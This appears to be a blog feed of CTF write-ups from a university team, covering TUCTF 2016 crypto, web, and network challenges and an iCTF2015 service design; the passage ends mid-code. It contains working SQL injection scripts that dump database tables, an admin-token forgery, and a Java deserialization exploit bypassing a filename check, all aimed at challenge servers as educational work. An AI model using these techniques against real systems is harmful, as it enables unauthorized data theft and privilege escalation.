<p>For level 2 i tried some letters. If the phrase was too long, the server said it is too long and closed the connection. It was a really slow process, since i had to go through the first level every time. I quickly discovered that the cipher was a simple monoalphabetic substitution. That is one of the easiest ciphers in existence. One simply substitutes each letter with a different letter. For example
‘a’ becomes ‘n’, ‘b’ becomes ‘o’. It was simply a matter of trying out all the letters, making a codebook and reusing the code from the first level.
Oh, and did I mention putting everything in a loop with 50 rounds?
And then finally, level 3:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Round 50. Give me some text:
ABCDEFGH encrypted is NOPQRSTU
What is v-'%r-''# decrypted?
:
Cleartext is:i owe you
Correct!
Round complete!
TUCTF{c4n_s0me0ne_turn_a_1ight_0n}
You have found The Nothing
This is level 3, The Nothing.
Round 1. Give me some text:
</code></pre></div></div>
<p>So, here is the code of scriptl2.py which solved the second level:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#!/usr/bin/env python
ip='xxx.xxx.xxx.xxx'
port=24069
import socket
import re
# Round complete!
# TUCTF{i_wi11_n0t_5teal}
# ------------------------------------------
# You take the book
# This is level 2 the attic
# Level 2
CODEL2 = {
'-' : ' ',
'n' : 'a',
'o' : 'b',
'p' : 'c',
'q' : 'd',
'r' : 'e',
's' : 'f',
't' : 'g',
'u' : 'h',
'v' : 'i',
'w' : 'j',
'x' : 'k',
'y' : 'l',
'z' : 'm',
'{' : 'n',
''' : 'o',
'}' : 'p',
'~' : 'q',
' ' : 'r',
'!' : 's',
'"' : 't',
'#' : 'u',
'$' : 'v',
'%' : 'w',
'&' : 'x',
"'" : 'y',
'(' : 'z'
}
# built using many trials and assuming monoalphabetic substitution
# hopefully they did not put any numbers in
for i in xrange(50):
print(sock.recv(256))
# Round i. Give me some text:
sock.send("ABCDEFGH\n")
print("#######")
answer=sock.recv(256)
print("server answer:" +answer)
# server answer: STUVW encrypted is -`abcd
match=re.search('What is (.*) decrypted?', answer)
ciphertext=match.group(1)
cleartext=''
for cipherletter in ciphertext:
cleartext += CODEL2[cipherletter]
print("Cleartext is:" + cleartext)
sock.send(cleartext+"\n")
</code></pre></div></div>
<h2 id="the-neverending-crypto-level-3">The Neverending Crypto Level 3</h2>
<p>The third level was hard. If i remember correctly ‘b’ decrypted was ‘b’, ‘bb’ decrypted was ‘yy’, ‘bbb’ decrypted was again ‘bbb’. I had no idea what was going on. And for each trial I had to walk through the two levels before. I opened multiple shells to run through the stuff in parallel. Spaces were preserved, so there was no permutation, just substitution of characters through other characters. I also assumed that it was a deterministic encryption, since groups of characters were always substituted by the same group of characters with the same length. As I later found out this was not the case. The nondeterminism was just very seldom.</p>
<p>And then I had an idea. As with all good ideas, it is not entirely clear how they form. Just that small spark of intuition. I looked at all the cleartexts I had decrypted before and discovered that there was about a hand full of them, all having to do with the neverending story. Nice. So i thought that they will perhaps be the same again and tried them all. It was made a little more difficult by the fact, that for some cleartexts there were multiple ciphertexts. For example ‘dont forget auryn’ could either encrypt to ‘erby urpi.y agpfb’ or to ‘sykg typdfg alpjk’. After I made that codebook with the words, the rest was simple. And after 50 rounds, I saw the familiar text:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Round 50. Give me some text:
the nothing encrypted is ghf kyghukd
What is ravf ghf ;pukcfrr decrypted?
:
Cleartext is:save the princess
Correct!
Round complete!
TUCTF{5omething_is_b3tt3r_th4n_n0thing}
You have run into a bad place...
This is level 4, the swamps of sadness.
Round 1. Give me some text:
</code></pre></div></div>
<p>Here is the code for scriptl3.py:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#!/usr/bin/env python
ip='xxx.xxx.xxx.xxx'
port=24069
import socket
import re
# Round complete!
# TUCTF{i_wi11_n0t_5teal}
# ------------------------------------------
# You take the book
# This is level 2 the attic
# Level 2
CODEL3 = {
"agpfjl vr dmype" : "atreyu vs gmork",
"ayp.fg ko imrpt" : "atreyu vs gmork",
"xaoycab" : "bastian",
"barguak" : "bastian",
"erby urpi.y agpfb" : "dont forget auryn",
"sykg typdfg alpjk" : "dont forget auryn",
"sgpfjl vr dmype" : "dtreyu vs gmork",
"tpadmfkgaguyk" : 'fragmentation',
"upaim.byaycrb" : 'fragmentation',
"duakg glpgif" : "giant turtle",
"icaby ygpyn." : "giant turtle",
"dmyper cyyi" : "gmorks cool",
"imrpto jrrn" : "gmorks cool",
"c r,. frg" : "i owe you",
"u ywf jyl" : "i owe you",
"myyk chuis" : "moon child",
"mrrb jdcne" : "moon child",
"mf ngjtepairb" : "my luckdragon",
"mj ilcespadyk" : "my luckdragon",
"pfasukd ur sakdfpylpr" : "reading is dangerours",
"p.aecbi co eabi.prgpo" : "reading is dangerours",
"ravf ghf ;pukcfrr" : "save the princess",
"oak. yd. lpcbj.oo" : "save the princess",
"ghf kyghukd" : "the nothing",
"yd. brydcbi" : "the nothing",
"ghf ypacif" : "the oracle",
"yd. rpajn." : "the oracle",
"ypf o,cmmcbi" : "try swimming",
"gpj rwummukd" : "try swimming",
"wficymf agpfjl" : "welcome atreyu",
",.njrm. ayp.fg" : "welcome atreyu"
}
# we found out, that in the previous challenges, we always had the
# same words, so we built a table
for i in xrange(50):
print(sock.recv(256))
# Round i. Give me some text:
sock.send("the nothing\n")
print("#######")
answer=sock.recv(256)
print("server answer:" +answer)
match=re.search('What is (.*) decrypted?', answer)
ciphertext=match.group(1)
cleartext = CODEL3[ciphertext]
print("Cleartext is:" + cleartext)
sock.send(cleartext+"\n")
print(sock.recv(256))
# Round complete!
# TUCTF{5omething_is_b3tt3r_th4n_n0thing}
# ------------------------------------------
# You have run into a bad place...
# This is level 4, the swamps of sadness.
# Round 1. Give me some text:
</code></pre></div></div>
<p>Level 4 was really damn weird. The encryptions were always totally different. And I had to wait half an eternity to run through all my script to get more cleartext-ciphertext pairs. I have no idea how the code there worked. And again if I succeeded I would only get 10 points. In comparison some web sql-injection challenge yielded at least 50 points. This was basically the reason I quit and tried some other challenges. So no code beyond level 3.</p>
<p>I have one log which is the transcript of the communication between my program and the server, which is perhaps interesting. It can be found <a href="https://hkopp.github.io/assets/writeup-the-neverending-crypto-challenge/transcript.txt">here</a>.</p>
<h2 id="web---student-grades">Web - Student Grades</h2>
<p>Student Grades was the first web challenge offering 50 points to earn exploiting a simple SQL injection. It has an input mask where you can type in a name. If it exists in the database it returns the name and grade of this person as response. The query is done through JavaScript. The code gives us everything we want to know:</p>
<figure class="highlight"><pre><code class="language-javascript" data-lang="javascript"><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="dl">'</span><span class="s1">submit</span><span class="dl">'</span><span class="p">).</span><span class="nx">addEventListener</span><span class="p">(</span><span class="dl">'</span><span class="s1">cli ck</span><span class="dl">'</span><span class="p">,</span>
<span class="kd">function</span><span class="p">(</span><span class="nx">event</span><span class="p">){</span>
<span class="nx">event</span><span class="p">.</span><span class="nx">preventDefault</span><span class="p">();</span>
<span class="kd">var</span> <span class="nx">input</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="dl">'</span><span class="s1">info</span><span class="dl">'</span><span class="p">);</span>
<span class="c1">//var query = 'SELECT * from Names where name=\'' + input.value + '\'';</span>
<span class="kd">var</span> <span class="nx">inp_str</span> <span class="o">=</span> <span class="nx">input</span><span class="p">.</span><span class="nx">value</span><span class="p">;</span>
<span class="nx">inp_str</span> <span class="o">=</span> <span class="nx">inp_str</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span><span class="sr">/</span><span class="se">\W</span><span class="sr">+/g</span><span class="p">,</span> <span class="dl">"</span><span class="s2"> </span><span class="dl">"</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">md5_str</span> <span class="o">=</span> <span class="nx">md5</span><span class="p">(</span><span class="nx">inp_str</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">send_str</span> <span class="o">=</span> <span class="nx">inp_str</span><span class="o">+</span><span class="dl">'</span><span class="s1"> </span><span class="dl">'</span><span class="o">+</span><span class="nx">md5_str</span><span class="p">;</span>
<span class="kd">var</span> <span class="nx">post_data</span> <span class="o">=</span> <span class="p">{</span><span class="na">name</span><span class="p">:</span> <span class="nx">send_str</span><span class="p">,</span> <span class="na">submit</span><span class="p">:</span><span class="mi">1</span><span class="p">};</span>
<span class="nx">$</span><span class="p">.</span><span class="nx">ajax</span><span class="p">({</span>
<span class="na">type</span><span class="p">:</span> <span class="dl">"</span><span class="s2">POST</span><span class="dl">"</span><span class="p">,</span>
<span class="na">url</span><span class="p">:</span> <span class="dl">"</span><span class="s2">/postQuery.php</span><span class="dl">"</span><span class="p">,</span>
<span class="na">data</span><span class="p">:</span> <span class="nx">post_data</span><span class="p">,</span>
<span class="na">success</span><span class="p">:</span> <span class="kd">function</span><span class="p">(</span><span class="nx">data</span><span class="p">){</span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="dl">'</span><span class="s1">results</span><span class="dl">'</span><span class="p">).</span><span class="nx">innerHTML</span><span class="o">=</span><span class="nx">data</span><span class="p">;}</span>
<span class="p">});</span>
<span class="p">}</span>
<span class="p">);</span></code></pre></figure>
<p>The rookie hint in line 5 tells us how the SQL query is structured. Now we need to break out of it and query what we want, instead of what the website gives us. Reading the source a little further you’ll see that all non-word characters are stripped out in line 7. The next line is more annoying since you see the input is hashed with MD5 digest and appended to the parameters. Burp Suite got Hashing-features built in into its Decoder recently but in this case it’s a pain to copy&paste on every try. Hence I decided to automate this in a very early stage. The following script shows the final SQL query I used to get flag out of the “tuctf_info” table and how I got there:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#!/usr/bin/env ruby
require 'digest'
require 'net/http'
# sqli = "xxx%' UNION ALL SELECT NULL,VERSION() UNION ALL SELECT * FROM tuctf_grades WHERE name LIKE '%xxx"
# sqli = "xxx%' UNION ALL SELECT NULL,table_name FROM INFORMATION_SCHEMA.TABLES UNION ALL SELECT * FROM tuctf_grades WHERE name LIKE '%xxx"
#sqli = "xxxx%' UNION ALL SELECT NULL,COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='tuctf_info' UNION ALL SELECT * FROM tuctf_grades WHERE name LIKE '%xxxx"
sqli = "xxx%' UNION ALL SELECT * FROM tuctf_info UNION ALL SELECT * FROM tuctf_grades WHERE name LIKE '%xxx"
md5 = Digest::MD5.hexdigest(sqli) # hash input
payload = sqli.gsub(' ', '+') + "+" + md5 # and append it to the end
uri = URI("http://xxx.xxx.xxx.xxx/postQuery.php")
body = { name: payload, submit: '1'}
Net::HTTP.start(uri.host, 80) do 'http'
req = Net::HTTP::Post.new(uri)
req['User-Agent'] = 'Mozilla/5.0 (X11; Linux x86_64; rv:37.1) Gecko/20100101 Firefox/37.1'
req['Content-Type'] = 'application/x-www-form-urlencoded; charset=UTF-8'
req['X-Requested-With'] = 'XMLHttpRequest'
# Build the HTTP Post body here. Create body by hand since set_form_data(params)
# encodes values.
req.body = "name=#{payload}&submit=1"
resp = http.request(req)
puts(resp.body.inspect)
end
</code></pre></div></div>
<p>To get there I used the payload in line 4 which basically closes the first select statement, concatenates a new one which prompts the version of the database (a specific Ubuntu package name came up here). Then I append some garbage to close the SQLi in a valid manner. Looks ugly, is ugly, but does the job. After this step I knew it’s a MySQL DBMS. So from now on I know which syntax to use to list all tables(line 5), their column names(line 6) and their content(line 7).</p>
<h2 id="web---duckprint">Web - Duckprint</h2>
<p>During the Duckprint challenge you could create a user, generate a so called duckprint and validate it. The latter only works if you have a valid admin-cookie (or deactivate JavaScript ;-). This is how the website looks like.</p>
<p><img src="/assets/2016-05-29-tuctf-2016-writeups/duckprint.png" alt="duckprint" /></p>
<p>On the screenshot we see how the “Duckprint” ist created. Looking at the HTML code we again see some hints about how the SQL query is constructed. This enables us to inject SQL code easily. It looks like the query of the previous
web challenge. With the payload “\textit{uss’ or 1=1 or username=’}” we get all users of the database. The first entry is an admin user with the name “DuckDuckGoose” and her token (whatever the meaning of it might be) is “d4rkw1ng”. So we are one step closer to the challenge. To get the actual token we need to create a valid duckprint for the admin. The website (see screenshot) allows us to do this for an arbitrary username except the admin. So we do this ourselves with the following code snippet.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#!/usr/bin/env ruby
require 'digest'
require "base64"
user = Base64.encode64('DuckDuckGoose').chomp
keks = Base64.encode64('{"username":"DuckDuckGoose","admin":1}'.chomp)
token = Base64.encode64('d4rkw1ng').chomp
concated_stuff = "#{user}.#{keks}.#{token}"
duck_print = Digest::SHA256.hexdigest(concated_stuff)
puts(duck_print)
</code></pre></div></div>
<p>We can derive how to construct the cookie in line 6 by looking at the cookie which is set after registering in the web browser. Like already mentioned, to be able to input the duckprint on the “Validate” site you’ll have to fake your own cookie inside the browser: script your request or just use a local attack proxy. Voila - 100 points.</p>
<h2 id="web---luckycharms">Web - LuckyCharms</h2>
<p>The LuckCharms challenge started with a website showing an ordinary picture of a cornflakes package. A look at the source in Figure “Luckycharmsource” gives you an idea how to proceed.</p>
<p><img src="/assets/2016-05-29-tuctf-2016-writeups/html_source.png" alt="Luckycharms index page source" /></p>
<p>So if we open that file (mentioned in HTML code) we see the Servlet which interprets our request. Both GET- and POST-methods are implemented though doGet() is just a wrapper for doPost(). After looking around a little bit we identified the interesting parts.</p>
<figure class="highlight"><pre><code class="language-java" data-lang="java"><span class="k">try</span> <span class="o">{</span>
<span class="n">osfile</span> <span class="o">=</span> <span class="o">(</span><span class="nc">OSFile</span><span class="o">)</span> <span class="k">new</span> <span class="nc">ObjectInputStream</span><span class="o">(</span><span class="n">request</span><span class="o">.</span><span class="na">getInputStream</span><span class="o">()).</span><span class="na">readObject</span><span class="o">();</span>
<span class="o">}</span> <span class="k">catch</span><span class="o">(</span><span class="nc">Exception</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
<span class="c1">// Oops, let me help you out there</span>
<span class="n">osfile</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">WindowsFile</span><span class="o">();</span>
<span class="k">if</span> <span class="o">(</span><span class="n">request</span><span class="o">.</span><span class="na">getParameter</span><span class="o">(</span><span class="s">"look"</span><span class="o">)</span> <span class="o">==</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
<span class="n">osfile</span><span class="o">.</span><span class="na">file</span> <span class="o">=</span> <span class="s">"charms.html"</span><span class="o">;</span>
<span class="o">}</span> <span class="k">else</span> <span class="o">{</span>
<span class="n">osfile</span><span class="o">.</span><span class="na">file</span> <span class="o">=</span> <span class="n">request</span><span class="o">.</span><span class="na">getParameter</span><span class="o">(</span><span class="s">"look"</span><span class="o">);</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="nc">String</span> <span class="n">f</span> <span class="o">=</span> <span class="n">osfile</span><span class="o">.</span><span class="na">getFileName</span><span class="o">().</span><span class="na">replace</span><span class="o">(</span><span class="s">"/"</span><span class="o">,</span> <span class="s">""</span><span class="o">).</span><span class="na">replace</span><span class="o">(</span><span class="s">"\\"</span><span class="o">,</span> <span class="s">""</span><span class="o">);</span>
<span class="k">if</span><span class="o">(</span><span class="n">f</span><span class="o">.</span><span class="na">contains</span><span class="o">(</span><span class="s">"flag"</span><span class="o">))</span> <span class="o">{</span>
<span class="c1">// bad hacker!</span>
<span class="n">out</span><span class="o">.</span><span class="na">println</span><span class="o">(</span><span class="s">"You'll Never Get Me Lucky Charms!"</span><span class="o">);</span>
<span class="k">return</span><span class="o">;</span>
<span class="o">}</span>
<span class="c1">// later read file f with it's path lowercase</span></code></pre></figure>
<p>We have to circumvent the check which starts at line 13 - we need to open the file “flag” but can’t pass it as URL parameter. So we have to manipulate the file object. I spared you the implementation of the OSFile class in the previous listing, but you can see it in our exploit following a little bit later. There are two subclasses of it: WindowsFile and UnixFile. The difference is the latter’s file name is case sensitive.</p>
<p>Now let’s look at how our request is interpreted. Line 2 shows how our request body is processed. It reads the request body as a Java object and deserializes it without any further checks - YOLO style. Since we don’t provide any body at all the deserialization always throws an exception. There we can try to set our flag name. If we try something like “FlaG” it will be converted to lowercase in line 12 since it’s a Windows file. So if we can convince the Servlet we have a UNIX file we can cheat the if clause in line 13. We could accomplish that by using some kind of camel case variations of the filename. Opening the file later would still work since at the very end a toLowerCase() is called explicitly.</p>
<p>To achieve our goal we need a) to let the deserialization succeed and b) pass a UnixFile with capital letters in the flag filename to trick the check <em>f.contains(“flag”)</em>. In the following code snipped you see our exploit.</p>
<figure class="highlight"><pre><code class="language-java" data-lang="java"><span class="kn">import</span> <span class="nn">java.io.FileOutputStream</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.io.ObjectOutputStream</span><span class="o">;</span>
<span class="kn">import</span> <span class="nn">java.io.Serializable</span><span class="o">;</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">Lucky</span> <span class="o">{</span>
<span class="kd">public</span> <span class="kd">static</span> <span class="kt">void</span> <span class="nf">main</span><span class="o">(</span><span class="nc">String</span><span class="o">[]</span> <span class="n">args</span><span class="o">)</span> <span class="o">{</span>
<span class="nc">OSFile</span> <span class="n">f</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">UnixFile</span><span class="o">();</span>
<span class="n">f</span><span class="o">.</span><span class="na">file</span> <span class="o">=</span> <span class="s">"FLAG"</span><span class="o">;</span>
<span class="k">try</span><span class="o">{</span>
<span class="nc">FileOutputStream</span> <span class="n">fout</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">FileOutputStream</span><span class="o">(</span><span class="s">"uglyObj.ser"</span><span class="o">);</span>
<span class="nc">ObjectOutputStream</span> <span class="n">oos</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ObjectOutputStream</span><span class="o">(</span><span class="n">fout</span><span class="o">);</span>
<span class="n">oos</span><span class="o">.</span><span class="na">writeObject</span><span class="o">(</span><span class="n">f</span><span class="o">);</span>
<span class="n">oos</span><span class="o">.</span><span class="na">close</span><span class="o">();</span>
<span class="o">}</span><span class="k">catch</span><span class="o">(</span><span class="nc">Exception</span> <span class="n">ex</span><span class="o">){</span>
<span class="n">ex</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="kd">abstract</span> <span class="kd">class</span> <span class="nc">OSFile</span> <span class="kd">implements</span> <span class="nc">Serializable</span> <span class="o">{</span>
<span class="nc">String</span> <span class="n">file</span> <span class="o">=</span> <span class="s">""</span><span class="o">;</span>
<span class="kd">abstract</span> <span class="nc">String</span> <span class="nf">getFileName</span><span class="o">();</span>
<span class="o">}</span>
<span class="kd">class</span> <span class="nc">WindowsFile</span> <span class="kd">extends</span> <span class="nc">OSFile</span> <span class="o">{</span>
<span class="kd">public</span> <span class="nc">String</span> <span class="nf">getFileName</span><span class="o">()</span> <span class="o">{</span>
<span class="c1">//Windows filenames are case-insensitive</span>
<span class="k">return</span> <span class="n">file</span><span class="o">.</span><span class="na">toLowerCase</span><span class="o">();</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="kd">class</span> <span class="nc">UnixFile</span> <span class="kd">extends</span> <span class="nc">OSFile</span> <span class="o">{</span>
<span class="kd">public</span> <span class="nc">String</span> <span class="nf">getFileName</span><span class="o">()</span> <span class="o">{</span>
<span class="c1">//Unix filenames are case-sensitive, don't change</span>
<span class="k">return</span> <span class="n">file</span><span class="o">;</span>
<span class="o">}</span>
<span class="o">}</span></code></pre></figure>
<p>We create an OSFile object with the type UnixFile and write it to non-volatile memory. Afterwards we use BurpSuite to generate our request. It has a neat feature where you can basically right-click the request and load content from file. This is the request which got us the flag for 150 points.</p>
<p><img src="/assets/2016-05-29-tuctf-2016-writeups/burp_suite_serObj1.png" alt="BurpSuite import file (serialized Java Object) into Request" /></p>
<h2 id="misc---the-nack">Misc - The Nack</h2>
<p>This was a network analysis challenge. You had to download a PCAP file and find out what happens there (respectively find the flag). So what do you do getting your hands on a PCAP - you open it with Wireshark. The network trace consists of a lot of TCP packets which transport some data, at first glance this is binary data with some ASCII in between. A closer look at the first packets already reveal the transmitted file. Consider the first packet in the following screenshot.</p>
<p><img src="/assets/2016-05-29-tuctf-2016-writeups/screen_first_packet.png" alt="NACK Challenge, first packet" /></p>
<p>You see the string “GOAT” and “GIF8”. If you look at the second packet you’ll find the rest of a Gif-header “9a”. It stands to reason the network trace contains an image which we should extract. The TCP-packets contain no flow. This means it’s not possible to extract the image using Wireshark (via Follow TCP-Stream). There are only TCP-SYNs containing the actual data. Looking through a few packets I could state that there was a static field with “GOAT\x01” and the second 4 bytes contained variable data. Obviously that was the transmitted Gif file. I wrote a quick and dirty script utilizing the <a href="http://www.secdev.org/projects/scapy/">Scapy</a> framework.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#!/usr/bin/env python3
from scapy.all import *
messages = rdpcap('ce6e1a612a1da91648306ace0cf7151e6531abc9.pcapng')
file_content = b''
for message in messages:
try:
if message[3].load[0:5] == b'GOAT\x01':
file_content += message[3].load[5:]
else:
# either empty tcp or the one dropbox-sync packet, wtf, why?
pass
except:
# no Layer 4 (the two ARP)
pass
with open('nack.gif', 'wb') as f:
f.write(file_content)
</code></pre></div></div>
<p>It basically looks for all TCP packets whose payload starts with the static string “GOAT\x01”. If the condition matches the last four bytes are extracted and written into a file at the end.
The extracted image contains a animated ROFL copter. Paying attention one can see a text flashing for a very short time period. Since it flashes very fast we use GIMP to look at the particular frame (with the flag).</p>
<p><img src="/assets/2016-05-29-tuctf-2016-writeups/rolf_copter-1024x302.png" alt="NACK ROFL copter opened in GIMP" /></p>
<p>The writeup was a joint work of the Ulm Security Sparrows,
see you on the next CTF.</p>
<p><strong>Update:</strong> Team ASCIIOVERFLOW has published a VM with all challenges (along with some organizational details): <a href="http://ctf.asciioverflow.com/general/2016/07/06/tuctf-2016.html">http://ctf.asciioverflow.com/general/2016/07/06/tuctf-2016.html</a></p>
TU-CTF This Weekend2016-05-10T00:00:00+00:00/2016/05/tu-ctf-this-weekend<p>The Ulm Security Sparrows invite all hackers, security interested students and all other creatures in the area of Ulm to join us solving riddles and breaking IT security challenges.</p>
<p><a href="http://ctf.asciioverflow.com/">TU-CTF</a> is an introductory CTF offering challenges the categories like reversing, web, crypto, exploitation and others.</p>
<p>The orga team ASCIIOverflow announced the event to start on Friday midnight and end after 48h on Sunday. We will gather in the O27/Linuxpool between 12 and 1pm on Saturday and decide when we show up on Sunday on sight. Night owls are of course welcomed to start the night before. Orga related information and CTF coordination is done through our <a href="https://imap.uni-ulm.de/lists/subscribe/ctf">CTF-mailinglist</a>. If your not subscribed yet, it’s time to <a href="https://imap.uni-ulm.de/lists/subscribe/ctf">do</a> so.</p>
<p>See you on Saturday!</p>
Cpt Security Sparrow's App Shop - iCTF2015 Writeup2016-02-29T00:00:00+00:00/2016/02/cpt-security-sparrows-app-shop-ictf2015-writeup<p>The last year’s iCTF organizers changed the format of the event regarding vulnerable services. This time the services to be exploited were not provided by Vigna and Team Shellphish but had to be submitted by the participating teams. Even though we had only a few weeks for preparations we were thrilled to face the challenge. Shortly after collecting some ideas we began hacking down the first prototype of our service. Over time the tinkering evolved to a solid service, ready to be broken by teams over the globe. Service <a href="https://ictf.cs.ucsb.edu/ictfdata/2015/site/pdfs/2015_iCTF.pdf">specification</a> provided by the guys from Santa Barbara offered two general possibilities to implement the services. It could have been a <a href="https://en.wikipedia.org/wiki/Xinetd">xinetd</a> or a web based service. We made the choice to implement a web application based on the Python microframework Flask and a corresponding Android app. The general idea was to force the attackers to deal with both, the web app and the Android app. The actual functionality, you probably already guessed by the name, is an app shop to provide next generation security software. Circumventing a small obstacle the attacker can gain access to a closed area on the website to download an interesting app. The app communicates with our website, to be precise a web service, implementing two factor authentication inspired by hard or in context of smartphones increasingly popular soft tokens. The difference between our InsecureID and competitors’ products is that we managed to create a solution which is not only secure but also easy to use ;-)</p>
<h2 id="web-applicationservice">Web Application/Service</h2>
<p>If you’re familiar with frameworks like Sinatra or alike you will feel at home with <a href="http://flask.pocoo.org/">Flask</a>. It’s a Python microwebframework in which methods can be equipped with a decorator to bind it to a certain URI and a request type. Consider the following code for user creation.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="o">@</span><span class="n">uss_app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/createuser'</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s">'POST'</span><span class="p">,</span> <span class="s">'GET'</span><span class="p">])</span>
<span class="k">def</span> <span class="nf">createuser</span><span class="p">():</span>
<span class="k">if</span> <span class="n">request</span><span class="p">.</span><span class="n">method</span> <span class="o">==</span> <span class="s">'GET'</span><span class="p">:</span>
<span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'createuser.html'</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">request</span><span class="p">.</span><span class="n">method</span> <span class="o">==</span> <span class="s">'POST'</span><span class="p">:</span>
<span class="n">user</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">[</span><span class="s">'user'</span><span class="p">]</span>
<span class="n">password</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">[</span><span class="s">'password'</span><span class="p">]</span>
<span class="k">if</span> <span class="n">is_invalid_user</span><span class="p">(</span><span class="n">user</span><span class="p">):</span>
<span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'error.html'</span><span class="p">,</span>\
<span class="n">error_msg</span><span class="o">=</span><span class="s">'Arrr, go away, you monkey'</span><span class="p">),</span> <span class="mi">400</span>
<span class="c1"># [...]
</span> <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'login.html'</span><span class="p">)</span></code></pre></figure>
<p>Access to the HTTP methods and parameters is given through the request variable. Afterwards the response content and the status code (default 200) is returned as a tuple. In case of a web service it makes sense to return just the expected content (like JSON). When using a web page you should make use of the template engine to separate the views and the logic. This should be enough information for you to dig through the code by yourself. When visiting the site you are presented with a short company profile and some news underneath. Old job offers give you some hints about topics involved in the challenge. The most interesting news is of course the launch of UnsecurID for invited customers. And you are so not invited…</p>
<p><img src="/assets/2016-02-29-cpt-security-sparrows-app-shop-ictf2015-writeup/webapp-300x232.png" alt="webapp" /></p>
<p>You have to visit the customer area with a created and logged in user, obviously. At this point you’ll notice that you’re not one of those fortunate who can use UnsecurID. Digging inside the code you will find the solution which enables you to elevate privileges. Inside the HTTP service service/www/uss.py the <em>is_valid_customer()</em> method is called during the login. It checks if the username contains the string “<em>customer”, nothing more. So the next step towards the solution is to create a user with the respective name. Now the customer area looks different. Digging further through the code you will find multiple methods which don’t render HTML but instead respond with some text or JSON. The functions _set_flag()</em> and <em>get_flag()</em> are reserved for use by the event organizer to be able to check whether the service is running. The interesting ones are <em>get_token()</em> and <em>get_time()</em>. The latter accepts a FLAG_ID, which is given by the organizer respectively their <a href="https://pypi.python.org/pypi/ictf/">iCTF-Framework</a> . This information along with some random value and the current server time is used to create a SHA224 hash, which is returned afterwards. This is a very ugly way to make sure that the exploit has to talk to the mothership. This measure and the hash changing every minute prevents the attackers to reverse the obscure crypto once and use it for every token without exploiting any vulnerability. One has to be at least polite enough to execute the whole pseudo crypto. <em>get_token()</em> expects the FLAG_ID and a calculated secret(whose generation will be explained at the end in detail). The method checks if one is a valid user and entitled to use the UnsecurID app. Afterwards the time stamp is generated again locally, taking FLAG_ID into account. The received secret is base64-decoded and then XORed with the time stamp. The SHA224 hash of the result is compared with a globally stored <em>hashed_secret</em> afterwards. Though the <em>hashed_secret</em> resides inside the web app it can’t be used by attackers to calculate the secret, except if they are in the position to revert/brute-force the hash (which I doubt). So there’s a missing piece of the puzzle and the only thing left to look into is the Android app.</p>
<h2 id="android-app">Android App</h2>
<p>After you created a valid account you are in the position to download the actual app (and to make requests to the web service in order to generate flags). The download page holds a lot of information and hints. The first sentence, for some people disappointing, states that the app is obfuscated in a manner that it can’t be run by the Android Emulator. So decompilation and static analysis is the only way to reverse the app. The following screenshot shows the app along with some explanations.</p>
<p><img src="/assets/2016-02-29-cpt-security-sparrows-app-shop-ictf2015-writeup/webapp-customer-area2-260x300.png" alt="webapp-customer-area2" />
The fields username and password are self explaining. The SERVER/IP enables communication to your instance of the Cpt Security Sparrow’s web service. Then follows the FLAG_ID, which is given by the iCTF-Framework. And of course the secret you have to find out by yourself. The binary APK available for download is obfuscated to make your life harder. You can decompile it into <a href="https://github.com/JesusFreke/smali">smali</a> . Or convert it to a <a href="https://sourceforge.net/projects/dex2jar/">JAR</a> and use a Java decompiler like <a href="http://jd.benow.ca/">JD-Gui</a> or <a href="https://github.com/deathmarine/Luyten">Luyten</a>. To give an overview of the functionality I will use the original source code. Otherwise the post would be a lot longer. A link to the code is attached bellow. So you can have a look at the original code and if you wish reproduce the obfuscated binary APK using <a href="https://developer.android.com/tools/help/proguard.html">ProGuard</a>. As for that matter you find a commented <em>proguard-rules.pro</em> file inside the Android-Studio project.
The functionality of InsecurID (often referred as UnsecurID) is split into four classes. The <em>lib.HttpRequests</em> class is a publicly available <a href="https://github.com/kevinsawicki/http-request">wrapper by Kevin Sawicki</a> around Java’s uncomfortable HTTP client API. The view and its logic inside the MainActivity class are not entirely uninteresting. It contains the general logic of the program flow and is additionally interesting due to the error messages. Consider the following snippet.</p>
<figure class="highlight"><pre><code class="language-java" data-lang="java"><span class="c1">//[...]</span>
<span class="n">secret</span><span class="o">=</span><span class="n">secretfield</span><span class="o">.</span><span class="na">getText</span><span class="o">().</span><span class="na">toString</span><span class="o">();</span>
<span class="k">try</span> <span class="o">{</span>
